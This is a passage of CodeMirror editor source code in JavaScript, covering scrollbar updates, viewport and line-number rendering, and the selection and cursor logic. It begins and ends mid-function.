clientHeight: scroll.clientHeight,
barHeight: cm.display.scrollbarV.clientHeight,
scrollWidth: scroll.scrollWidth, clientWidth: scroll.clientWidth,
hScrollbarTakesSpace: hScrollbarTakesSpace(cm),
barWidth: cm.display.scrollbarH.clientWidth,
docHeight: Math.round(cm.doc.height + paddingVert(cm.display))
};
}
// Re-synchronize the fake scrollbars with the actual size of the
// content.
function updateScrollbars(cm, measure) {
if (!measure) measure = measureForScrollbars(cm);
var d = cm.display, sWidth = scrollbarWidth(d.measure);
var scrollHeight = measure.docHeight + scrollerCutOff;
var needsH = measure.scrollWidth > measure.clientWidth;
if (needsH && measure.scrollWidth <= measure.clientWidth + 1 &&
sWidth > 0 && !measure.hScrollbarTakesSpace)
needsH = false; // (Issue #2562)
var needsV = scrollHeight > measure.clientHeight;
if (needsV) {
d.scrollbarV.style.display = "block";
d.scrollbarV.style.bottom = needsH ? sWidth + "px" : "0";
// A bug in IE8 can cause this value to be negative, so guard it.
d.scrollbarV.firstChild.style.height =
Math.max(0, scrollHeight - measure.clientHeight + (measure.barHeight || d.scrollbarV.clientHeight)) + "px";
} else {
d.scrollbarV.style.display = "";
d.scrollbarV.firstChild.style.height = "0";
}
if (needsH) {
d.scrollbarH.style.display = "block";
d.scrollbarH.style.right = needsV ? sWidth + "px" : "0";
d.scrollbarH.firstChild.style.width =
(measure.scrollWidth - measure.clientWidth + (measure.barWidth || d.scrollbarH.clientWidth)) + "px";
} else {
d.scrollbarH.style.display = "";
d.scrollbarH.firstChild.style.width = "0";
}
if (needsH && needsV) {
d.scrollbarFiller.style.display = "block";
d.scrollbarFiller.style.height = d.scrollbarFiller.style.width = sWidth + "px";
} else d.scrollbarFiller.style.display = "";
if (needsH && cm.options.coverGutterNextToScrollbar && cm.options.fixedGutter) {
d.gutterFiller.style.display = "block";
d.gutterFiller.style.height = sWidth + "px";
d.gutterFiller.style.width = d.gutters.offsetWidth + "px";
} else d.gutterFiller.style.display = "";
if (!cm.state.checkedOverlayScrollbar && measure.clientHeight > 0) {
if (sWidth === 0) {
var w = mac && !mac_geMountainLion ? "12px" : "18px";
d.scrollbarV.style.minWidth = d.scrollbarH.style.minHeight = w;
var barMouseDown = function(e) {
if (e_target(e) != d.scrollbarV && e_target(e) != d.scrollbarH)
operation(cm, onMouseDown)(e);
};
on(d.scrollbarV, "mousedown", barMouseDown);
on(d.scrollbarH, "mousedown", barMouseDown);
}
cm.state.checkedOverlayScrollbar = true;
}
}
// Compute the lines that are visible in a given viewport (defaults
// the the current scroll position). viewport may contain top,
// height, and ensure (see op.scrollToPos) properties.
function visibleLines(display, doc, viewport) {
var top = viewport && viewport.top != null ? Math.max(0, viewport.top) : display.scroller.scrollTop;
top = Math.floor(top - paddingTop(display));
var bottom = viewport && viewport.bottom != null ? viewport.bottom : top + display.wrapper.clientHeight;
var from = lineAtHeight(doc, top), to = lineAtHeight(doc, bottom);
// Ensure is a {from: {line, ch}, to: {line, ch}} object, and
// forces those lines into the viewport (if possible).
if (viewport && viewport.ensure) {
var ensureFrom = viewport.ensure.from.line, ensureTo = viewport.ensure.to.line;
if (ensureFrom < from)
return {from: ensureFrom,
to: lineAtHeight(doc, heightAtLine(getLine(doc, ensureFrom)) + display.wrapper.clientHeight)};
if (Math.min(ensureTo, doc.lastLine()) >= to)
return {from: lineAtHeight(doc, heightAtLine(getLine(doc, ensureTo)) - display.wrapper.clientHeight),
to: ensureTo};
}
return {from: from, to: Math.max(to, from + 1)};
}
// LINE NUMBERS
// Re-align line numbers and gutter marks to compensate for
// horizontal scrolling.
function alignHorizontally(cm) {
var display = cm.display, view = display.view;
if (!display.alignWidgets && (!display.gutters.firstChild || !cm.options.fixedGutter)) return;
var comp = compensateForHScroll(display) - display.scroller.scrollLeft + cm.doc.scrollLeft;
var gutterW = display.gutters.offsetWidth, left = comp + "px";
for (var i = 0; i < view.length; i++) if (!view[i].hidden) {
if (cm.options.fixedGutter && view[i].gutter)
view[i].gutter.style.left = left;
var align = view[i].alignable;
if (align) for (var j = 0; j < align.length; j++)
align[j].style.left = left;
}
if (cm.options.fixedGutter)
display.gutters.style.left = (comp + gutterW) + "px";
}
// Used to ensure that the line number gutter is still the right
// size for the current document size. Returns true when an update
// is needed.
function maybeUpdateLineNumberWidth(cm) {
if (!cm.options.lineNumbers) return false;
var doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size - 1), display = cm.display;
if (last.length != display.lineNumChars) {
var test = display.measure.appendChild(elt("div", [elt("div", last)],
"CodeMirror-linenumber CodeMirror-gutter-elt"));
var innerW = test.firstChild.offsetWidth, padding = test.offsetWidth - innerW;
display.lineGutter.style.width = "";
display.lineNumInnerWidth = Math.max(innerW, display.lineGutter.offsetWidth - padding);
display.lineNumWidth = display.lineNumInnerWidth + padding;
display.lineNumChars = display.lineNumInnerWidth ? last.length : -1;
display.lineGutter.style.width = display.lineNumWidth + "px";
updateGutterSpace(cm);
return true;
}
return false;
}
function lineNumberFor(options, i) {
return String(options.lineNumberFormatter(i + options.firstLineNumber));
}
// Computes display.scroller.scrollLeft + display.gutters.offsetWidth,
// but using getBoundingClientRect to get a sub-pixel-accurate
// result.
function compensateForHScroll(display) {
return display.scroller.getBoundingClientRect().left - display.sizer.getBoundingClientRect().left;
}
// DISPLAY DRAWING
function DisplayUpdate(cm, viewport, force) {
var display = cm.display;
this.viewport = viewport;
// Store some values that we'll need later (but don't want to force a relayout for)
this.visible = visibleLines(display, cm.doc, viewport);
this.editorIsHidden = !display.wrapper.offsetWidth;
this.wrapperHeight = display.wrapper.clientHeight;
this.oldViewFrom = display.viewFrom; this.oldViewTo = display.viewTo;
this.oldScrollerWidth = display.scroller.clientWidth;
this.force = force;
this.dims = getDimensions(cm);
}
// Does the actual updating of the line display. Bails out
// (returning false) when there is nothing to be done and forced is
// false.
function updateDisplayIfNeeded(cm, update) {
var display = cm.display, doc = cm.doc;
if (update.editorIsHidden) {
resetView(cm);
return false;
}
// Bail out if the visible area is already rendered and nothing changed.
if (!update.force &&
update.visible.from >= display.viewFrom && update.visible.to <= display.viewTo &&
(display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo) &&
countDirtyView(cm) == 0)
return false;
if (maybeUpdateLineNumberWidth(cm)) {
resetView(cm);
update.dims = getDimensions(cm);
}
// Compute a suitable new viewport (from & to)
var end = doc.first + doc.size;
var from = Math.max(update.visible.from - cm.options.viewportMargin, doc.first);
var to = Math.min(end, update.visible.to + cm.options.viewportMargin);
if (display.viewFrom < from && from - display.viewFrom < 20) from = Math.max(doc.first, display.viewFrom);
if (display.viewTo > to && display.viewTo - to < 20) to = Math.min(end, display.viewTo);
if (sawCollapsedSpans) {
from = visualLineNo(cm.doc, from);
to = visualLineEndNo(cm.doc, to);
}
var different = from != display.viewFrom || to != display.viewTo ||
display.lastSizeC != update.wrapperHeight;
adjustView(cm, from, to);
display.viewOffset = heightAtLine(getLine(cm.doc, display.viewFrom));
// Position the mover div to align with the current scroll position
cm.display.mover.style.top = display.viewOffset + "px";
var toUpdate = countDirtyView(cm);
if (!different && toUpdate == 0 && !update.force &&
(display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo))
return false;
// For big changes, we hide the enclosing element during the
// update, since that speeds up the operations on most browsers.
var focused = activeElt();
if (toUpdate > 4) display.lineDiv.style.display = "none";
patchDisplay(cm, display.updateLineNumbers, update.dims);
if (toUpdate > 4) display.lineDiv.style.display = "";
// There might have been a widget with a focused element that got
// hidden or updated, if so re-focus it.
if (focused && activeElt() != focused && focused.offsetHeight) focused.focus();
// Prevent selection and cursors from interfering with the scroll
// width.
removeChildren(display.cursorDiv);
removeChildren(display.selectionDiv);
if (different) {
display.lastSizeC = update.wrapperHeight;
startWorker(cm, 400);
}
display.updateLineNumbers = null;
return true;
}
function postUpdateDisplay(cm, update) {
var force = update.force, viewport = update.viewport;
for (var first = true;; first = false) {
if (first && cm.options.lineWrapping && update.oldScrollerWidth != cm.display.scroller.clientWidth) {
force = true;
} else {
force = false;
// Clip forced viewport to actual scrollable area.
if (viewport && viewport.top != null)
viewport = {top: Math.min(cm.doc.height + paddingVert(cm.display) - scrollerCutOff -
cm.display.scroller.clientHeight, viewport.top)};
// Updated line heights might result in the drawn area not
// actually covering the viewport. Keep looping until it does.
update.visible = visibleLines(cm.display, cm.doc, viewport);
if (update.visible.from >= cm.display.viewFrom && update.visible.to <= cm.display.viewTo)
break;
}
if (!updateDisplayIfNeeded(cm, update)) break;
updateHeightsInViewport(cm);
var barMeasure = measureForScrollbars(cm);
updateSelection(cm);
setDocumentHeight(cm, barMeasure);
updateScrollbars(cm, barMeasure);
}
signalLater(cm, "update", cm);
if (cm.display.viewFrom != update.oldViewFrom || cm.display.viewTo != update.oldViewTo)
signalLater(cm, "viewportChange", cm, cm.display.viewFrom, cm.display.viewTo);
}
function updateDisplaySimple(cm, viewport) {
var update = new DisplayUpdate(cm, viewport);
if (updateDisplayIfNeeded(cm, update)) {
updateHeightsInViewport(cm);
postUpdateDisplay(cm, update);
var barMeasure = measureForScrollbars(cm);
updateSelection(cm);
setDocumentHeight(cm, barMeasure);
updateScrollbars(cm, barMeasure);
}
}
function setDocumentHeight(cm, measure) {
cm.display.sizer.style.minHeight = cm.display.heightForcer.style.top = measure.docHeight + "px";
cm.display.gutters.style.height = Math.max(measure.docHeight, measure.clientHeight - scrollerCutOff) + "px";
}
function checkForWebkitWidthBug(cm, measure) {
// Work around Webkit bug where it sometimes reserves space for a
// non-existing phantom scrollbar in the scroller (Issue #2420)
if (cm.display.sizer.offsetWidth + cm.display.gutters.offsetWidth < cm.display.scroller.clientWidth - 1) {
cm.display.sizer.style.minHeight = cm.display.heightForcer.style.top = "0px";
cm.display.gutters.style.height = measure.docHeight + "px";
}
}
// Read the actual heights of the rendered lines, and update their
// stored heights to match.
function updateHeightsInViewport(cm) {
var display = cm.display;
var prevBottom = display.lineDiv.offsetTop;
for (var i = 0; i < display.view.length; i++) {
var cur = display.view[i], height;
if (cur.hidden) continue;
if (ie && ie_version < 8) {
var bot = cur.node.offsetTop + cur.node.offsetHeight;
height = bot - prevBottom;
prevBottom = bot;
} else {
var box = cur.node.getBoundingClientRect();
height = box.bottom - box.top;
}
var diff = cur.line.height - height;
if (height < 2) height = textHeight(display);
if (diff > .001 || diff < -.001) {
updateLineHeight(cur.line, height);
updateWidgetHeight(cur.line);
if (cur.rest) for (var j = 0; j < cur.rest.length; j++)
updateWidgetHeight(cur.rest[j]);
}
}
}
// Read and store the height of line widgets associated with the
// given line.
function updateWidgetHeight(line) {
if (line.widgets) for (var i = 0; i < line.widgets.length; ++i)
line.widgets[i].height = line.widgets[i].node.offsetHeight;
}
// Do a bulk-read of the DOM positions and sizes needed to draw the
// view, so that we don't interleave reading and writing to the DOM.
function getDimensions(cm) {
var d = cm.display, left = {}, width = {};
for (var n = d.gutters.firstChild, i = 0; n; n = n.nextSibling, ++i) {
left[cm.options.gutters[i]] = n.offsetLeft;
width[cm.options.gutters[i]] = n.offsetWidth;
}
return {fixedPos: compensateForHScroll(d),
gutterTotalWidth: d.gutters.offsetWidth,
gutterLeft: left,
gutterWidth: width,
wrapperWidth: d.wrapper.clientWidth};
}
// Sync the actual display DOM structure with display.view, removing
// nodes for lines that are no longer in view, and creating the ones
// that are not there yet, and updating the ones that are out of
// date.
function patchDisplay(cm, updateNumbersFrom, dims) {
var display = cm.display, lineNumbers = cm.options.lineNumbers;
var container = display.lineDiv, cur = container.firstChild;
function rm(node) {
var next = node.nextSibling;
// Works around a throw-scroll bug in OS X Webkit
if (webkit && mac && cm.display.currentWheelTarget == node)
node.style.display = "none";
else
node.parentNode.removeChild(node);
return next;
}
var view = display.view, lineN = display.viewFrom;
// Loop over the elements in the view, syncing cur (the DOM nodes
// in display.lineDiv) with the view as we go.
for (var i = 0; i < view.length; i++) {
var lineView = view[i];
if (lineView.hidden) {
} else if (!lineView.node) { // Not drawn yet
var node = buildLineElement(cm, lineView, lineN, dims);
container.insertBefore(node, cur);
} else { // Already drawn
while (cur != lineView.node) cur = rm(cur);
var updateNumber = lineNumbers && updateNumbersFrom != null &&
updateNumbersFrom <= lineN && lineView.lineNumber;
if (lineView.changes) {
if (indexOf(lineView.changes, "gutter") > -1) updateNumber = false;
updateLineForChanges(cm, lineView, lineN, dims);
}
if (updateNumber) {
removeChildren(lineView.lineNumber);
lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options, lineN)));
}
cur = lineView.node.nextSibling;
}
lineN += lineView.size;
}
while (cur) cur = rm(cur);
}
// When an aspect of a line changes, a string is added to
// lineView.changes. This updates the relevant part of the line's
// DOM structure.
function updateLineForChanges(cm, lineView, lineN, dims) {
for (var j = 0; j < lineView.changes.length; j++) {
var type = lineView.changes[j];
if (type == "text") updateLineText(cm, lineView);
else if (type == "gutter") updateLineGutter(cm, lineView, lineN, dims);
else if (type == "class") updateLineClasses(lineView);
else if (type == "widget") updateLineWidgets(lineView, dims);
}
lineView.changes = null;
}
// Lines with gutter elements, widgets or a background class need to
// be wrapped, and have the extra elements added to the wrapper div
function ensureLineWrapped(lineView) {
if (lineView.node == lineView.text) {
lineView.node = elt("div", null, null, "position: relative");
if (lineView.text.parentNode)
lineView.text.parentNode.replaceChild(lineView.node, lineView.text);
lineView.node.appendChild(lineView.text);
if (ie && ie_version < 8) lineView.node.style.zIndex = 2;
}
return lineView.node;
}
function updateLineBackground(lineView) {
var cls = lineView.bgClass ? lineView.bgClass + " " + (lineView.line.bgClass || "") : lineView.line.bgClass;
if (cls) cls += " CodeMirror-linebackground";
if (lineView.background) {
if (cls) lineView.background.className = cls;
else { lineView.background.parentNode.removeChild(lineView.background); lineView.background = null; }
} else if (cls) {
var wrap = ensureLineWrapped(lineView);
lineView.background = wrap.insertBefore(elt("div", null, cls), wrap.firstChild);
}
}
// Wrapper around buildLineContent which will reuse the structure
// in display.externalMeasured when possible.
function getLineContent(cm, lineView) {
var ext = cm.display.externalMeasured;
if (ext && ext.line == lineView.line) {
cm.display.externalMeasured = null;
lineView.measure = ext.measure;
return ext.built;
}
return buildLineContent(cm, lineView);
}
// Redraw the line's text. Interacts with the background and text
// classes because the mode may output tokens that influence these
// classes.
function updateLineText(cm, lineView) {
var cls = lineView.text.className;
var built = getLineContent(cm, lineView);
if (lineView.text == lineView.node) lineView.node = built.pre;
lineView.text.parentNode.replaceChild(built.pre, lineView.text);
lineView.text = built.pre;
if (built.bgClass != lineView.bgClass || built.textClass != lineView.textClass) {
lineView.bgClass = built.bgClass;
lineView.textClass = built.textClass;
updateLineClasses(lineView);
} else if (cls) {
lineView.text.className = cls;
}
}
function updateLineClasses(lineView) {
updateLineBackground(lineView);
if (lineView.line.wrapClass)
ensureLineWrapped(lineView).className = lineView.line.wrapClass;
else if (lineView.node != lineView.text)
lineView.node.className = "";
var textClass = lineView.textClass ? lineView.textClass + " " + (lineView.line.textClass || "") : lineView.line.textClass;
lineView.text.className = textClass || "";
}
function updateLineGutter(cm, lineView, lineN, dims) {
if (lineView.gutter) {
lineView.node.removeChild(lineView.gutter);
lineView.gutter = null;
}
var markers = lineView.line.gutterMarkers;
if (cm.options.lineNumbers || markers) {
var wrap = ensureLineWrapped(lineView);
var gutterWrap = lineView.gutter =
wrap.insertBefore(elt("div", null, "CodeMirror-gutter-wrapper", "position: absolute; left: " +
(cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + "px"),
lineView.text);
if (cm.options.lineNumbers && (!markers || !markers["CodeMirror-linenumbers"]))
lineView.lineNumber = gutterWrap.appendChild(
elt("div", lineNumberFor(cm.options, lineN),
"CodeMirror-linenumber CodeMirror-gutter-elt",
"left: " + dims.gutterLeft["CodeMirror-linenumbers"] + "px; width: "
+ cm.display.lineNumInnerWidth + "px"));
if (markers) for (var k = 0; k < cm.options.gutters.length; ++k) {
var id = cm.options.gutters[k], found = markers.hasOwnProperty(id) && markers[id];
if (found)
gutterWrap.appendChild(elt("div", [found], "CodeMirror-gutter-elt", "left: " +
dims.gutterLeft[id] + "px; width: " + dims.gutterWidth[id] + "px"));
}
}
}
function updateLineWidgets(lineView, dims) {
if (lineView.alignable) lineView.alignable = null;
for (var node = lineView.node.firstChild, next; node; node = next) {
var next = node.nextSibling;
if (node.className == "CodeMirror-linewidget")
lineView.node.removeChild(node);
}
insertLineWidgets(lineView, dims);
}
// Build a line's DOM representation from scratch
function buildLineElement(cm, lineView, lineN, dims) {
var built = getLineContent(cm, lineView);
lineView.text = lineView.node = built.pre;
if (built.bgClass) lineView.bgClass = built.bgClass;
if (built.textClass) lineView.textClass = built.textClass;
updateLineClasses(lineView);
updateLineGutter(cm, lineView, lineN, dims);
insertLineWidgets(lineView, dims);
return lineView.node;
}
// A lineView may contain multiple logical lines (when merged by
// collapsed spans). The widgets for all of them need to be drawn.
function insertLineWidgets(lineView, dims) {
insertLineWidgetsFor(lineView.line, lineView, dims, true);
if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)
insertLineWidgetsFor(lineView.rest[i], lineView, dims, false);
}
function insertLineWidgetsFor(line, lineView, dims, allowAbove) {
if (!line.widgets) return;
var wrap = ensureLineWrapped(lineView);
for (var i = 0, ws = line.widgets; i < ws.length; ++i) {
var widget = ws[i], node = elt("div", [widget.node], "CodeMirror-linewidget");
if (!widget.handleMouseEvents) node.ignoreEvents = true;
positionLineWidget(widget, node, lineView, dims);
if (allowAbove && widget.above)
wrap.insertBefore(node, lineView.gutter || lineView.text);
else
wrap.appendChild(node);
signalLater(widget, "redraw");
}
}
function positionLineWidget(widget, node, lineView, dims) {
if (widget.noHScroll) {
(lineView.alignable || (lineView.alignable = [])).push(node);
var width = dims.wrapperWidth;
node.style.left = dims.fixedPos + "px";
if (!widget.coverGutter) {
width -= dims.gutterTotalWidth;
node.style.paddingLeft = dims.gutterTotalWidth + "px";
}
node.style.width = width + "px";
}
if (widget.coverGutter) {
node.style.zIndex = 5;
node.style.position = "relative";
if (!widget.noHScroll) node.style.marginLeft = -dims.gutterTotalWidth + "px";
}
}
// POSITION OBJECT
// A Pos instance represents a position within the text.
var Pos = CodeMirror.Pos = function(line, ch) {
if (!(this instanceof Pos)) return new Pos(line, ch);
this.line = line; this.ch = ch;
};
// Compare two positions, return 0 if they are the same, a negative
// number when a is less, and a positive number otherwise.
var cmp = CodeMirror.cmpPos = function(a, b) { return a.line - b.line || a.ch - b.ch; };
function copyPos(x) {return Pos(x.line, x.ch);}
function maxPos(a, b) { return cmp(a, b) < 0 ? b : a; }
function minPos(a, b) { return cmp(a, b) < 0 ? a : b; }
// SELECTION / CURSOR
// Selection objects are immutable. A new one is created every time
// the selection changes. A selection is one or more non-overlapping
// (and non-touching) ranges, sorted, and an integer that indicates
// which one is the primary selection (the one that's scrolled into
// view, that getCursor returns, etc).
function Selection(ranges, primIndex) {
this.ranges = ranges;
this.primIndex = primIndex;
}
Selection.prototype = {
primary: function() { return this.ranges[this.primIndex]; },
equals: function(other) {
if (other == this) return true;
if (other.primIndex != this.primIndex || other.ranges.length != this.ranges.length) return false;
for (var i = 0; i < this.ranges.length; i++) {
var here = this.ranges[i], there = other.ranges[i];
if (cmp(here.anchor, there.anchor) != 0 || cmp(here.head, there.head) != 0) return false;
}
return true;
},
deepCopy: function() {
for (var out = [], i = 0; i < this.ranges.length; i++)
out[i] = new Range(copyPos(this.ranges[i].anchor), copyPos(this.ranges[i].head));
return new Selection(out, this.primIndex);
},
somethingSelected: function() {
for (var i = 0; i < this.ranges.length; i++)
if (!this.ranges[i].empty()) return true;
return false;
},
contains: function(pos, end) {
if (!end) end = pos;
for (var i = 0; i < this.ranges.length; i++) {
var range = this.ranges[i];
if (cmp(end, range.from()) >= 0 && cmp(pos, range.to()) <= 0)
return i;
}
return -1;
}
};
function Range(anchor, head) {
this.anchor = anchor; this.head = head;
}
Range.prototype = {
from: function() { return minPos(this.anchor, this.head); },
to: function() { return maxPos(this.anchor, this.head); },
empty: function() {
return this.head.line == this.anchor.line && this.head.ch == this.anchor.ch;
}
};
// Take an unsorted, potentially overlapping set of ranges, and
// build a selection out of it. 'Consumes' ranges array (modifying
// it).
function normalizeSelection(ranges, primIndex) {
var prim = ranges[primIndex];
ranges.sort(function(a, b) { return cmp(a.from(), b.from()); });
primIndex = indexOf(ranges, prim);
for (var i = 1; i < ranges.length; i++) {
var cur = ranges[i], prev = ranges[i - 1];
if (cmp(prev.to(), cur.from()) >= 0) {
var from = minPos(prev.from(), cur.from()), to = maxPos(prev.to(), cur.to());
var inv = prev.empty() ? cur.from() == cur.head : prev.from() == prev.head;
if (i <= primIndex) --primIndex;
ranges.splice(--i, 2, new Range(inv ? to : from, inv ? from : to));
}
}
return new Selection(ranges, primIndex);
}
function simpleSelection(anchor, head) {
return new Selection([new Range(anchor, head || anchor)], 0);
}
// Most of the external API clips given positions to make sure they
// actually exist within the document.
function clipLine(doc, n) {return Math.max(doc.first, Math.min(n, doc.first + doc.size - 1));}
function clipPos(doc, pos) {
if (pos.line < doc.first) return Pos(doc.first, 0);
var last = doc.first + doc.size - 1;
if (pos.line > last) return Pos(last, getLine(doc, last).text.length);
return clipToLen(pos, getLine(doc, pos.line).text.length);
}
function clipToLen(pos, linelen) {
var ch = pos.ch;
if (ch == null || ch > linelen) return Pos(pos.line, linelen);
else if (ch < 0) return Pos(pos.line, 0);
else return pos;
}
function isLine(doc, l) {return l >= doc.first && l < doc.first + doc.size;}
function clipPosArray(doc, array) {
for (var out = [], i = 0; i < array.length; i++) out[i] = clipPos(doc, array[i]);
return out;
}
// SELECTION UPDATES
// The 'scroll' parameter given to many of these indicated whether
// the new cursor position should be scrolled into view after
// modifying the selection.
// If shift is held or the extend flag is set, extends a range to
// include a given position (and optionally a second position).
// Otherwise, simply returns the range between the given positions.
// Used for cursor motion and such.
function extendRange(doc, range, head, other) {
if (doc.cm && doc.cm.display.shift || doc.extend) {
var anchor = range.anchor;
if (other) {
var posBefore = cmp(head, anchor) < 0;
if (posBefore != (cmp(other, anchor) < 0)) {
anchor = head;
head = other;
} else if (posBefore != (cmp(head, other) < 0)) {
head = other;
}
}
return new Range(anchor, head);
} else {
return new Range(other || head, head);
}
}
// Extend the primary selection range, discard the rest.
function extendSelection(doc, head, other, options) {
setSelection(doc, new Selection([extendRange(doc, doc.sel.primary(), head, other)], 0), options);
}
// Extend all selections (pos is an array of selections with length
// equal the number of selections)
function extendSelections(doc, heads, options) {
for (var out = [], i = 0; i < doc.sel.ranges.length; i++)
out[i] = extendRange(doc, doc.sel.ranges[i], heads[i], null);
var newSel = normalizeSelection(out, doc.sel.primIndex);
setSelection(doc, newSel, options);
}
// Updates a single range in the selection.
function replaceOneSelection(doc, i, range, options) {
var ranges = doc.sel.ranges.slice(0);
ranges[i] = range;
setSelection(doc, normalizeSelection(ranges, doc.sel.primIndex), options);
}
// Reset the selection to a single range.
function setSimpleSelection(doc, anchor, head, options) {
setSelection(doc, simpleSelection(anchor, head), options);
}
// Give beforeSelectionChange handlers a change to influence a
// selection update.
function filterSelectionChange(doc, sel) {
var obj = {
ranges: sel.ranges,
update: function(ranges) {
this.ranges = [];
for (var i = 0; i < ranges.length; i++)
this.ranges[i] = new Range(clipPos(doc, ranges[i].anchor),
clipPos(doc, ranges[i].head));
}
};
signal(doc, "beforeSelectionChange", doc, obj);
if (doc.cm) signal(doc.cm, "beforeSelectionChange", doc.cm, obj);
if (obj.ranges != sel.ranges) return normalizeSelection(obj.ranges, obj.ranges.length - 1);
else return sel;
}
function setSelectionReplaceHistory(doc, sel, options) {
var done = doc.history.done, last = lst(done);
if (last && last.ranges) {
done[done.length - 1] = sel;
setSelectionNoUndo(doc, sel, options);
} else {
setSelection(doc, sel, options);
}
}
// Set a new selection.
function setSelection(doc, sel, options) {
setSelectionNoUndo(doc, sel, options);
addSelectionToHistory(doc, doc.sel, doc.cm ? doc.cm.curOp.id : NaN, options);
}
function setSelectionNoUndo(doc, sel, options) {
if (hasHandler(doc, "beforeSelectionChange") || doc.cm && hasHandler(doc.cm, "beforeSelectionChange"))
sel = filterSelectionChange(doc, sel);
var bias = options && options.bias ||
(cmp(sel.primary().head, doc.sel.primary().head) < 0 ? -1 : 1);
setSelectionInner(doc, skipAtomicInSelection(doc, sel, bias, true));
if (!(options && options.scroll === false) && doc.cm)
ensureCursorVisible(doc.cm);
}
function setSelectionInner(doc, sel) {
if (sel.equals(doc.sel)) return;
doc.sel = sel;
if (doc.cm) {
doc.cm.curOp.updateInput = doc.cm.curOp.selectionChanged = true;
signalCursorActivity(doc.cm);
}
signalLater(doc, "cursorActivity", doc);
}
// Verify that the selection does not partially select any atomic
// marked ranges.
function reCheckSelection(doc) {
setSelectionInner(doc, skipAtomicInSelection(doc, doc.sel, null, false), sel_dontScroll);
}
// Return a selection that does not partially select any atomic
// ranges.
function skipAtomicInSelection(doc, sel, bias, mayClear) {
var out;
for (var i = 0; i < sel.ranges.length; i++) {
var range = sel.ranges[i];
var newAnchor = skipAtomic(doc, range.anchor, bias, mayClear);
var newHead = skipAtomic(doc, range.head, bias, mayClear);
if (out || newAnchor != range.anchor || newHead != range.head) {
if (!out) out = sel.ranges.slice(0, i);
out[i] = new Range(newAnchor, newHead);
}
}
return out ? normalizeSelection(out, sel.primIndex) : sel;
}
// Ensure a given position is not inside an atomic range.
function skipAtomic(doc, pos, bias, mayClear) {
var flipped = false, curPos = pos;
var dir = bias || 1;
doc.cantEdit = false;
search: for (;;) {
var line = getLine(doc, curPos.line);
if (line.markedSpans) {
for (var i = 0; i < line.markedSpans.length; ++i) {
var sp = line.markedSpans[i], m = sp.marker;
if ((sp.from == null || (m.inclusiveLeft ? sp.from <= curPos.ch : sp.from < curPos.ch)) &&
(sp.to == null || (m.inclusiveRight ? sp.to >= curPos.ch : sp.to > curPos.ch))) {
if (mayClear) {
signal(m, "beforeCursorEnter");
if (m.explicitlyCleared) {
if (!line.markedSpans) break;
else {--i; continue;}
}
}
if (!m.atomic) continue;
var newPos = m.find(dir < 0 ? -1 : 1);
if (cmp(newPos, curPos) == 0) {
newPos.ch += dir;
if (newPos.ch < 0) {
if (newPos.line > doc.first) newPos = clipPos(doc, Pos(newPos.line - 1));
else newPos = null;
} else if (newPos.ch > line.text.length) {
if (newPos.line < doc.first + doc.size - 1) newPos = Pos(newPos.line + 1, 0);
else newPos = null;
}
if (!newPos) {
if (flipped) {
// Driven in a corner -- no valid cursor position found at all
// -- try again *with* clearing, if we didn't already
if (!mayClear) return skipAtomic(doc, pos, bias, true);
// Otherwise, turn off editing until further notice, and return the start of the doc
doc.cantEdit = true;
return Pos(doc.first, 0);
}
flipped = true; newPos = pos; dir = -dir;
}
}
curPos = newPos;
continue search;
}
}
}
return curPos;
}
}
// SELECTION DRAWING
// Redraw the selection and/or cursor
function drawSelection(cm) {
var display = cm.display, doc = cm.doc, result = {};
var curFragment = result.cursors = document.createDocumentFragment();
var selFragment = result.selection = document.createDocumentFragment();
for (var i = 0; i < doc.sel.ranges.length; i++) {
var range = doc.sel.ranges[i];
var collapsed = range.empty();
if (collapsed || cm.options.showCursorWhenSelecting)
drawSelectionCursor(cm, range, curFragment);
if (!collapsed)
drawSelectionRange(cm, range, selFragment);
}
// Move the hidden textarea near the cursor to prevent scrolling artifacts
if (cm.options.moveInputWithCursor) {
var headPos = cursorCoords(cm, doc.sel.primary().head, "div");
var wrapOff = display.wrapper.getBoundingClientRect(), lineOff = display.lineDiv.getBoundingClientRect();
result.teTop = Math.max(0, Math.min(display.wrapper.clientHeight - 10,
headPos.top + lineOff.top - wrapOff.top));
result.teLeft = Math.max(0, Math.min(display.wrapper.clientWidth - 10,
headPos.left + lineOff.left - wrapOff.left));
}
return result;
}
function showSelection(cm, drawn) {
removeChildrenAndAdd(cm.display.cursorDiv, drawn.cursors);
removeChildrenAndAdd(cm.display.selectionDiv, drawn.selection);
if (drawn.teTop != null) {
cm.display.inputDiv.style.top = drawn.teTop + "px";
cm.display.inputDiv.style.left = drawn.teLeft + "px";
}
}
function updateSelection(cm) {
showSelection(cm, drawSelection(cm));
}
// Draws a cursor for the given range
function drawSelectionCursor(cm, range, output) {
var pos = cursorCoords(cm, range.head, "div", null, null, !cm.options.singleCursorHeightPerLine);
var cursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor"));
cursor.style.left = pos.left + "px";
cursor.style.top = pos.top + "px";
cursor.style.height = Math.max(0, pos.bottom - pos.top) * cm.options.cursorHeight + "px";
if (pos.other) {
// Secondary cursor, shown when on a 'jump' in bi-directional text
var otherCursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor CodeMirror-secondarycursor"));
otherCursor.style.display = "";
otherCursor.style.left = pos.other.left + "px";
otherCursor.style.top = pos.other.top + "px";
otherCursor.style.height = (pos.other.bottom - pos.other.top) * .85 + "px";
}
}
// Draws the given range as a highlighted selection
function drawSelectionRange(cm, range, output) {
var display = cm.display, doc = cm.doc;
var fragment = document.createDocumentFragment();
var padding = paddingH(cm.display), leftSide = padding.left, rightSide = display.lineSpace.offsetWidth - padding.right;
function add(left, top, width, bottom) {
if (top < 0) top = 0;
top = Math.round(top);
bottom = Math.round(bottom);
fragment.appendChild(elt("div", null, "CodeMirror-selected", "position: absolute; left: " + left +
"px; top: " + top + "px; width: " + (width == null ? rightSide - left : width) +
"px; height: " + (bottom - top) + "px"));
}
function drawForLine(line, fromArg, toArg) {
var lineObj = getLine(doc, line);
var lineLen = lineObj.text.length;
var start, end;
function coords(ch, bias) {
return charCoords(cm, Pos(line, ch), "div", lineObj, bias);
}
iterateBidiSections(getOrder(lineObj), fromArg || 0, toArg == null ? lineLen : toArg, function(from, to, dir) {
var leftPos = coords(from, "left"), rightPos, left, right;
if (from == to) {
rightPos = leftPos;
left = right = leftPos.left;
